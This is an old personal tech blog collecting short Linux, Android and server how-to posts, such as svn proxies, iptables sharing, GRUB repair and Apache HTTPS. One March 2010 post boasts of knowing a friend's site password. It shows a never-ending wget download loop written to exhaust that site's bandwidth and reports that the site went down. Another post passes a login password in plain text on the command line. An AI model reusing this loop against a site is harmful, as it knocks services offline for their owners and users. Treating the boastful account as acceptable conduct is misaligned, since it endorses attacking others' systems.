Saturday, December 18, 2010

Mobile Apps Developer Community



If you want want to join with us in this community, please attending in our Sunday event, for more information visit the following link address:

http://code.google.com/p/mobile-apps-developer-community/

Wednesday, December 15, 2010

Using subversion (svn) under proxy network in Mac OS X

If you want to use svn command from terminal in Mac OS X under proxy network, you must modify the subversion configuration file under your home directory. The following instruction how to use svn command under proxy in Mac OS X:

  1. Open terminal application

  2. Use vi application to open configuration file
    vim ~/.subversion/severs


  3. In under global group [global], add the following configuration
    http-proxy-host = 172.17.0.18
    http-proxy-port = 8080



Note:

  • 172.17.0.18 and 8080 is proxy address and port in my network

Sunday, December 12, 2010

Enable another host connect to our MySQL Server

In some condition we need to separate between database server from server which the application running on it. In MySQL version 5.1.33-community the default configuration only allow incoming connection from localhost or the machine itself.  In that condition any mysql client applications in another host can't access to the MySQL server. We need to modify configuration in the MySQL server in order to enable another allowed to create connection. The following instruction  is what I did to solve this problem:

If phpmyAdmin was installed  and running well

1. Open any web browser, and then access the phpmyAdmin Application, for example http://172.16.223.132/phpmyadmin



2. Select Privileges from tabs menu



3. Select the user who want to allow connect from anaother host



4. Modify host value from "localhost" to "any host"



Note:

if you are advanced user who familiar with SQL language or command line,  you can do this with DML (Data Manipulation Language) command to user table in mysql database.

Saturday, December 11, 2010

Adding "Look Up in Dictionary" menu on Firefox

Some Mac OS X user maybe was familiar with "Look Up in Dictionary" menu. For me this Dictionary is really useful to find meaning of new vocabulary. To use it, you just need to select the word and then right click to show "Look Up in Dictionary Menu". The following image show the "Look Up in Dictionary" menu in Mail.


If your favorite web browser is Safari, you can use this feature without need any new configuration. But for user who has Mozilla Firefox as their favorite browser this feature not available in default configuration. If you are Firefox user, you must install Add-on in order to enable "Look Up in Dictionary" menu usable in Firefox. The Add-on which I means is "Mac OS X Dictionary"



If this Add-on was installed on your Mozilla Firefox browser you can enjoying the "Look Up Dictionary" menu in all web pages was opened using it.

Happy trying...

Monday, November 15, 2010

Blogging from my phone

This is a sampe post which was sent from my nexus one.....
Blogging everywhere....

Saturday, October 23, 2010

Connect to Wifi Access Point in Slackware terminal

Few days ago I have decide to use slackware linux distro, first impression of this linux distro is hard and unfriendly (LOL). But I have decide to try it, don't give up. After finish installation, I try connect to Wireless Access Point in my campus and have problem about it :(

After browsing about the problem, I get solution to solve this problem:

  1. Fist you must turn on network interface


    tnto@slackware#ifconfig wlan0 up


  2. Assign essid value


    tnto@slackware#iwconfig wlan0 essid "Merpati 24"


  3. Request IP Address from DHCP Server


    tnto@slackware#dhcpd wlan0


Saturday, September 18, 2010

Resident Evil Afterlife

Yes, this is the title of movie.I like this movie so much, because I'm really really really and really like the story inside. I was following this movie when I'm still in senior high school (about 6 years ago). I knew this (Resident Evil) from it's game first, in 1st version of Play Station game.

In Resident Evil Afterlife, Alice was loss his T-viruses power, so she has to fight as human and with human power ........................................................................

I'm sorry, I feel sleepy, I will continuing to write this post tomorrow morning, see you.....bye....have nice dream everybody ;-)

Wednesday, September 8, 2010

Subversion (svn) under proxy in Linux

Accessing internet in network which using proxy sometimes make me to modify any configuration of application. Tonight I'm connected to the network which using proxy and I'm trying to "checkout" using subversion and I always get ERROR message, arrrrrrgggghhhh....After searching about that problem, finally I found the solution for using subversion under network proxy. You only need to modify subversion configuration file, the file configuration is located under your home directory in hidden directory.
tnto@tnto-laptop$vim ~/.subversion/servers

And then modify the file above with the suitable values of proxy address and proxy port used in your network

Tuesday, September 7, 2010

Use ext2fsd to read ext3 or ext4 partition from Windows

Today I'm try to search tools for reading my linux partition from Windows 7, when I'm dual boot between Windows XP and Ubuntu 8.04 TCUP (Total Commander Ultimate Prime) can read properly linux partition, but now it was unusable, finally I found ext2fsd for reading linux partition from Windows,  currently I'm using two operating system (Windows 7 and Ubuntu 10.10).
You can download this program from it's official website: http://www.ext2fsd.com/

Monday, September 6, 2010

Sharing internet connection in Linux

In this article I want to share about "how to share internet connection in Linux", in my condition, internet come from usb modem interface (ppp0) and I want to share with another network interface, wlan0 interface.  To share internet connection in Linux, you must following some steps bellow:

  1. Enable IP Forward

    #echo 1 > /proc/sys/net/ipv4/ip_forward



  2. Clear ip table
    #iptables -F -t nat


  3. Using ip tables to create internet packet routing
    #iptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE
    #iptables --append FORWARD --in-interface wlan0 -j ACCEPT


  4. Restart network
    /etc/init.d/networking restart



Note:
I'm using Ubuntu 10.10 (Maverick) 32 bit

Friday, August 13, 2010

ADB server in Linux for Android device debugging mode

Sometimes in android application development we must use Android device for debugging mode, if you using eclipse in windows operating system you  need the usb driver for Android device and then install it, eclipse IDE will automatically detect the android device if available. But in Linux OS you don't need any usb deriver for the device, you only need to run ADB server as root and everything will running properly.
$adb kill-server
$sudo adb devices

I'm using Ubuntu 10.04 (64bit) aka Lucid Link with Eclipse Galileo

Tuesday, June 29, 2010

Setting DNS (Domain Name System) in your Android device emulator

In my device emulator, the default value of DNS is nothing,  so if want to access a website must type an IP Address of the website in the internet browser application. However you can assign DNS Server address  manually with these command:

  1. Open your command line application (Command Prompt in Windows, Terminal in Linux)

  2. Type these commands:
                  $adb devices
    $adb shell
    #setprop net.dns1 172.17.5.14


  3. Now, back to your device emulator and try to access an website with it's domain address


Note:

  • Replace 172.17.5.14 with your DNS Server address

  • Only one emulator device which active in the computer

Monday, June 28, 2010

Say goodbye to compiz

This is my second day work in Linux without compiz animation and feel better without it. I'm still remember that in one year ago compiz is my weapon  to recruit or invite my friends in order to use linux as main operating system in his/her PC or laptop. The reason why I disable compiz in my computer is "I want to allocate my computer resources for better experience computer programming". Compiz animation just an option, it will be very  important for some persons and will be something useless for the others one.

Tuesday, June 22, 2010

Installing ADT (Android Development Tools) on Eclipse IDE

Before we talk about ADT (Android Development Tools), we will talk about "What is Android?" first? When you serach definition about Android in wikipedia, you will get the great simple definition of Android like this (LOL):
Android is Google's operating system for mobile devices. It is a competitor to Apple's iOS for the iPhone.

Wow, there a statement "competitor to Apple's iOS for the iPhone". When we define that something is competitor from the other, in our mind should have a knowing about similarity between them. Yeah...there are similarity about UI (User Interface) used by them. Maybe this only my perspective :P.

Okay, let start to install ADT for your favorite IDE

  1. The first step you must download the latest version of Eclipse IDE from it's webpage, in this case http://www.eclipse.org/downloads/

  2. Download ADT from here http://developer.android.com/sdk/eclipse-adt.html


After eclipse IDE installed successfully, please following these steps:

1. In your Eclipse IDE menu bar click Help => Install New Software...

Monday, May 17, 2010

Reinstalling Windows 7 with same key number

I don't believe it, I can reinstall same version of microsoft operating system product (Windows 7 Professional 64 bit) with same serial number. I'm just do some fool steps:

  1. Insert my Windows 7 DVD installation to my computer optic drive.

Sunday, April 18, 2010

Learning PostgreSQL

What is PosgreSQL?
PostgreSQL is a powerful, open source object-relational database system. It has more than 15 years of active development and a proven architecture that has earned it a strong reputation for reliability, data integrity, and correctness. It runs on all major operating systems, including Linux, UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64), and Windows. It is fully ACID compliant, has full support for foreign keys, joins, views, triggers, and stored procedures (in multiple languages). It includes most SQL:2008 data types, including INTEGER, NUMERIC, BOOLEAN, CHAR, VARCHAR, DATE, INTERVAL, and TIMESTAMP. It also supports storage of binary large objects, including pictures, sounds, or video. It has native programming interfaces for C/C++, Java, .Net, Perl, Python, Ruby, Tcl, ODBC, among others, and exceptional documentation.

Friday, April 16, 2010

Create auto post plurk message status

What is plurk?
A really snazzy site that allows you to showcase the events that make up your life, and follow the events of the people that matter to you, in deliciously digestible short messages called plurks.

(http://www.plurk.com/faq)

To create auto post script you just need two tools:

  1. Cron job

  2. Wget orl curl


These tools is come with most any linux distribution as default  tools.

In this tutorials I will try to explain and focus in wget only.

1. Create very simple script

- Generate and save plurk cookies in file
tnto@ubuntu-linux:~$ wget --save-cookies cookies-plurk.txt --post-data 'nick_name=tnto&password=my_plurk_password_is_weak' https://www.plurk.com/Users/login

- Create single file (auto-post.sh) to load cookies file and send your plurk status message
waktu="Sekarang "$(date)
waktu2=${waktu// /%20}
wget --load-cookies cookies-plurk.txt --post-data "content= "$waktu2" (auto post)〈=en&location=&no_comments=0&qualifier=&uid=5758685" http://www.plurk.com/TimeLine/addPlurk

2. Create scheduling to run your script above

I will create a simple scheduling to running the above simple script every 15 minutes.

tnto@ubuntu-linux#crontab -e

# m h  dom mon dow   command
*/15 * * * * * /home/tnto/auto-post.sh
~
~
~
~
~

Thursday, April 15, 2010

Waiting for new ubuntu release

Todays GNU/Linux has become familiar operating system for everyone. It's can run in various machine. Linux comes with hundreds of good and useful free software. In open source software not only free to use the computer software, but you can get the source code too. You can modify or customize it. Ubuntu is one of hundreds (may be thousand) of linux distributions.
Ubuntu is a complete Linux-based operating system containing the very best free and open source software applications you need to work and play. With Ubuntu you can surf the web, read email, create documents, presentations and spreadsheets, edit images and more.

http://www.ubuntu.com/aboutus/faq

The image bellow is chart of linux distribution schema:

Linux Timeline

In thirteen days again, new version of ubuntu will come. I hope will come with new useful features.

Tuesday, April 13, 2010

Reinstalling Grub

Grub is a program which used to manage operating system if you install more than one operating system in single computer, for example you install Windows 7 and Ubuntu or another Linux Operating system.
GNU GRUB (short for GNU GRand Unified Bootloader) is a boot loader package from the GNU Project. GRUB (shortened form of GNU GRUB) is the reference implementation of the Multiboot Specification, which enables a user to have multiple operating systems on their computer, and choose which one to run when the computer starts. GRUB can be used to select from different kernel images available on a particular operating system's partitions, as well as pass boot-time parameters to such kernels. (http://en.wikipedia.org/wiki/GNU_GRUB)

The conditions grub problem appear:

Install GNU/Linux operating system and then install Windows family operating system although  in different partition from existing GNU/Linux operating system.

The conditions grub problem doesn't appear:

Install any Windows family operating system and then install any GNU/Linux operating system. GNU/Linux operating system will automatically detect another existing operating system.

If the second condition happen for any reason or condition you must, the existing GNU/Linux operating system will disapper from your computer. You must reinstall the grub (if you want to use grub), these steps will lead you reinstalling your grub:

  1. You need bootable CD of GNU/Linux operating system

  2. Insert the CD into your computer optic

  3. If live CD of GNU/Linux operating system ready open terminal program

  4. Mount existing partition which installed GNU/Linux operating system
    root@linux#mount /dev/sda1 /mnt


  5. Install grub
    root@linux#grub-install --root-directory=/mnt /dev/sda


  6. Reboot


Assumption:

The existing GNU/Linux operating system installed on /dev/sda1

Thursday, April 1, 2010

Quicksort Algorithm

Quicksort is a well-known sorting algorithm developed by C. A. R. Hoare that, on average, makes Θ(nlogn) (big O notation) comparisons to sort n items. In the worst case, it makes Θ(n2) comparisons, though if implemented correctly this behavior is rare. Typically, quicksort is significantly faster in practice than other Θ(nlogn) algorithms, because its inner loop can be efficiently implemented on most architectures, and in most real-world data, it is possible to make design choices which minimize the probability of requiring quadratic time. Additionally, quicksort tends to make excellent usage of the memory hierarchy, taking perfect advantage of virtual memory and available caches. Coupled with the fact that quicksort is an in-place sort and uses no temporary memory, it is very well suited to modern computer architectures. (en.wikipedia.org)

Tuesday, March 30, 2010

Secure Shell tunneling from Linux

THEORY


What is "secure shell"?
Secure Shell or SSH is a network protocol that allows data to be exchanged using a secure channel between two networked devices. Used primarily on GNU/Linux and Unix based systems to access shell accounts, SSH was designed as a replacement for Telnet and other insecure remote shells, which send information, notably passwords, in plaintext, rendering them susceptible to packet analysis. The encryption used by SSH provides confidentiality and integrity of data over an insecure network, such as the Internet.

(en.wikipedia.org)

What is "tunneling"?
Transmitting data structured in one protocol within the format of another.

(http://www.yourdictionary.com/computer/tunneling)

Schema of SSH Tunnel


PRACTICE


Open your linux terminal program, and execute this command:




tnto@ubuntu-linux@ssh -D 8080 tnto@172.17.0.141

Assumption:

  • I have login account in host 172.17.0.141 with username tnto


Now you must modify your browser preferences:



And now you can enjoy secure browsing :D

Sunday, March 28, 2010

Setting HTTPS on Apache Web Server

Hypertext Transfer Protocol Secure (HTTPS) is a combination of the Hypertext Transfer Protocol with the SSL/TLS protocol to provide encryption and secure (website security testing) identification of the server. HTTPS connections are often used for payment transactions on the World Wide Web and for sensitive transactions in corporate information systems. HTTPS should not be confused with Secure HTTP (S-HTTP) specified in RFC 2660. (http://en.wikipedia.org/wiki/HTTP_Secure)

There are some steps to enable https protocol in apache web server.

  1. Create your certificate

  2. Reconfig your  apache web server

  3. Restart your  apache web server


1. Create your certificate

You need openssl to create crtificate
root@ubuntu-linux#pwd
/home/tnto
root@ubuntu-linux#openssl genrsa -des3 -out your-certificate-name.key 1024
Generating RSA private key, 1024 bit long modulus
.............................................................................++++++
.................++++++
e is 65537 (0x10001)
Enter pass phrase for your-certificate-name.key:
Verifying - Enter pass phrase for your-certificate-name.key:

root@ubuntu-linux#ls
your-certificate-name.key
Downloads
Public
Templates

Ensure a new file (your-certificate-name.key) was created from some commands above.
root@ubuntu-linux#openssl req -new -key your-certificate-name.key -x509 -days 1000 -out your-certificate-name.crt
Enter pass phrase for your-certificate-name.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:ID
State or Province Name (full name) [Some-State]:West Java
Locality Name (eg, city) []:Bogor
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Bogor Agricultural University
Organizational Unit Name (eg, section) []:DKSI
Common Name (eg, YOUR name) []:Sutanto
Email Address []:dksi@ipb.ac.id

2. Reconfig your apache web server

Modify your apache web server configuration file, add this to you configuration file
SSLCertificateFile /home/tnto/your-certificate-name.crt
SSLCertificateKeyFile /home/tnto/your-certificate-name.key

3. Restart your apache web server


root@ubuntu-linux#/etc/init.d/apache2 restart

Friday, March 26, 2010

Fixing error “E: Could not get lock /var/lib/apt/lists/lock – open (11: Resource temporarily unavailable)”

Todays morning (March 27th, 2010) I have problem with my lovely ubuntu linux operating system.
root@ubuntu-linux#apt-get update
E: Could not get lock /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable)
E: Unable to lock the list directory

I'm never get problem like this before and then I open my favorite browser (Mozilla Firefox) and open my favorite search engine (http://www.google.com). I try to find solution for my problem with this query "fix /var/lib/apt/lists/lock".

I get this solution:

root@ubuntu-linux#rm /var/lib/apt/lists/lock

Download comic easily using shell script

Cartoon always identic with comic, some of my friends and me usualy read our  favorite comic in http://www.onemanga.com, unfortunately this website only allow us read one by one, there no option to download full one chapter, but URL (Uniform Resource Locater) used by this website to display comic page is stuctured and can understand easily. The  bottom is simple script which I  used to download Detective Conan comic first chapter.
counter=0
while [ $counter -lt 100 ]
do
location="http://media.onemanga.com/mangas/00000130/00000001/"
if [ $counter -lt 10 ]; then
nomor="0"$counter".jpg"
else
nomor=$counter".jpg"
fi

wget $location$nomor
counter=$(( $counter + 1))
done

Assumption:

  • The number page of this chapter is less than 100

  • The extension image used is *.jpg

Tuesday, March 16, 2010

Add item in nautilus toolbar

Nautilus used as default file manager for operating system which using Gnome as desktop environment, for example Ubuntu. The first release of nautilus in 2001. These some features of nautilus file manager:

  1. FTP support

  2. Windows SMB shares

  3. ObexFTP

  4. HTTP

  5. WebDAV

  6. SFTP

  7. Bookmark

  8. Window background

  9. etc


In this article, I want to share about "how to add item in nautilus toolbar". Some often used features of nautilus should can access quickly and can reach it in short time. The solution of this problem is toolbar and shorcut, but not all nautilus features appear in it's toolbar. We can add item into toolbar manually, this my nautilus screenshot after modified.



To modify nautilus toolbar you must edit this file

/usr/share/nautilus/ui/nautilus-navigation-window-ui.xml

add new tool item(s) between toolbar tag
























































































Sunday, March 7, 2010

Sent "Bandwidth Limited Exceeded" message to my friend

On March 1st 2010 I was posted my plurk status message, the status message is
hack web *************.com ah, habisnya aku tau passwordnya ckckckckckck (LOL)

The image below is screenshot of my plurk status message respons, there are 44 responses but in this image I only took 5 responses. The blue marked plurk id is mine and his (read: victim) plurk id marked in red color.

After finishing our conversation in plurk, i create a shell script in linux and then execute it, the script is like this.
#!/bin/bash
COUNTER=0
while [ $COUNTER -lt 10 ]; do
wget http://www.***********.com/*********************.mp3
rm ./*********************.mp3
done

May be less than one minute I have been finished write that script, after execute it I went to sleep. On Tuesday morning, the second day of March 2010 my friend's site is going down, it's means God bless me because owner of  the website was paryed for me to do it.

Wednesday, March 3, 2010

Install DSpace

When author writing this page, the author still confuse and know nothing about dspace, but you can search description about dspace in it's website or in en.wikipedia.org. Here is some of sentences which explain about dspace:
DSpace is an open source software package that provides the tools for management of digital assets, and is commonly used as the basis for an institutional repository. It supports a wide variety of data, including books, theses, 3D digital scans of objects, photographs, film, video, research data sets and other forms of content. The data is arranged as community collections of items, which bundle bitstreams together.

DSpace is also intended as a platform for digital preservation activities. Since its release in 2002, as a product of the HP-MIT Alliance, it has been installed and is in production at over 240 institutions around the globe [1], from large universities to small higher education colleges, cultural organizations, and research centers. It is shared under a BSD licence, which enables users to customize or extend the software as needed. (en.wikipedia.org)